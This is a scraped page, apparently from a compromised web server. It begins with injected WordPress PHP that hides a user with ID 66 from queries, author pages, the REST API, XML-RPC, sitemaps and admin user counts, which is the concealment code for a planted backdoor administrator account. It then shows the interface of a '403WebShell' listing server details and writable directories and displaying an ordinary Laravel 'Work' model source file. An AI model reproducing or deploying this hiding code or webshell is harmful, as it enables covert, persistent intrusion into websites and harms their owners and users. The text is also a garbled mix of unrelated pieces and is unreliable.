add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/palimory/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/palimory/app/Models/Work.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Database\Eloquent\Relations\HasOne;
use App\Models\TranslationCampaign;
use Illuminate\Support\Str;

class Work extends Model
{
    use HasFactory;
    public const PUBLISHING_TRACKS = [
        'curated' => 'Publisher Shelf (Curated)',
        'community' => 'Community Shelf',
    ];

    public const MODERATION_STATUSES = [
        'none' => 'No moderation needed',
        'pending' => 'Awaiting moderation',
        'approved' => 'Approved',
        'rejected' => 'Rejected',
    ];

    // Expandable list - add new statuses here as needed
    public const PUBLICATION_STATUSES = [
        'unpublished' => 'Unpublished (first publication here)',
        'unpublished_edited' => 'Unpublished, but professionally edited',
        'self_published' => 'Self-published (blog, website, etc.)',
        'published_magazine' => 'Published in magazine/journal',
        'published_anthology' => 'Published in anthology',
        'published_collection' => 'Published in author\'s collection',
        'published_book' => 'Published as standalone book',
        'published_translated' => 'Published and already translated elsewhere',
    ];

    protected $fillable = [
        'author_id',
        'credited_author_name',
        'credited_author_id',
        'title',
        'title_en',
        'uuid',
        'slug',
        'synopsis',
        'excerpt_en',
        'original_language',
        'genre',
        'tags',
        'word_count',
        'status',
        'publishing_track',
        'moderation_status',
        'moderated_by',
        'moderated_at',
        'moderation_notes',
        'publication_status',
        'publication_info',
        'translation_policy',
        'default_split_template_id',
    ];

    /**
     * Use slug for route model binding (URLs will use slug)
     */
    public function getRouteKeyName(): string
    {
        return 'slug';
    }

    /**
     * Boot the model and register event listeners
     */
    protected static function boot(): void
    {
        parent::boot();

        static::creating(function (Work $work) {
            if (empty($work->uuid)) {
                $work->uuid = Str::uuid();
            }
            if (empty($work->slug)) {
                $work->slug = $work->generateUniqueSlug($work->title);
            }
        });

        static::updating(function (Work $work) {
            if ($work->isDirty('title') && !$work->isDirty('slug')) {
                $work->slug = $work->generateUniqueSlug($work->title);
            }
        });
    }

    /**
     * Find a work by slug or UUID
     */
    public static function findBySlugOrUuid(string $identifier): ?self
    {
        return static::where('slug', $identifier)
            ->orWhere('uuid', $identifier)
            ->first();
    }

    /**
     * Find a work by slug or UUID, or fail
     */
    public static function findBySlugOrUuidOrFail(string $identifier): self
    {
        $work = static::findBySlugOrUuid($identifier);

        if (!$work) {
            abort(404);
        }

        return $work;
    }

    /**
     * Generate a unique slug for the work
     */
    public function generateUniqueSlug(string $title): string
    {
        $baseSlug = Str::slug($title);
        if (empty($baseSlug)) {
            $baseSlug = 'work';
        }

        $slug = $baseSlug;
        $counter = 1;

        while (static::where('slug', $slug)->where('id', '!=', $this->id ?? 0)->exists()) {
            $slug = $baseSlug . '-' . $counter;
            $counter++;
        }

        return $slug;
    }

    protected function casts(): array
    {
        return [
            'tags' => 'array',
            'moderated_at' => 'datetime',
        ];
    }

    public function author(): BelongsTo
    {
        return $this->belongsTo(User::class, 'author_id');
    }

    public function creditedAuthor(): BelongsTo
    {
        return $this->belongsTo(User::class, 'credited_author_id');
    }

    public function moderatedBy(): BelongsTo
    {
        return $this->belongsTo(User::class, 'moderated_by');
    }

    public function getAuthorDisplayNameAttribute(): string
    {
        if ($this->credited_author_name) {
            return $this->credited_author_name;
        }
        if ($this->creditedAuthor) {
            return $this->creditedAuthor->display_name;
        }
        return $this->author->display_name;
    }

    public function needsModeration(): bool
    {
        return $this->moderation_status === 'pending';
    }

    public function isModerationApproved(): bool
    {
        return in_array($this->moderation_status, ['none', 'approved']);
    }

    public function defaultSplitTemplate(): BelongsTo
    {
        return $this->belongsTo(SplitTemplate::class, 'default_split_template_id');
    }

    public function versions(): HasMany
    {
        return $this->hasMany(Version::class);
    }

    public function originalVersion(): HasOne
    {
        return $this->hasOne(Version::class)->where('type', 'original');
    }

    public function translations(): HasMany
    {
        return $this->hasMany(Version::class)->where('type', 'translation');
    }

    public function bookmarks(): HasMany
    {
        return $this->hasMany(Bookmark::class);
    }

    public function translationRequests(): HasMany
    {
        return $this->hasMany(TranslationRequest::class);
    }

    public function campaigns(): HasMany
    {
        return $this->hasMany(TranslationCampaign::class);
    }

    public function isPublished(): bool
    {
        return in_array($this->status, ['published', 'monetization_locked', 'monetization_enabled']);
    }

    public function allowsTranslations(): bool
    {
        return $this->translation_policy !== 'closed';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit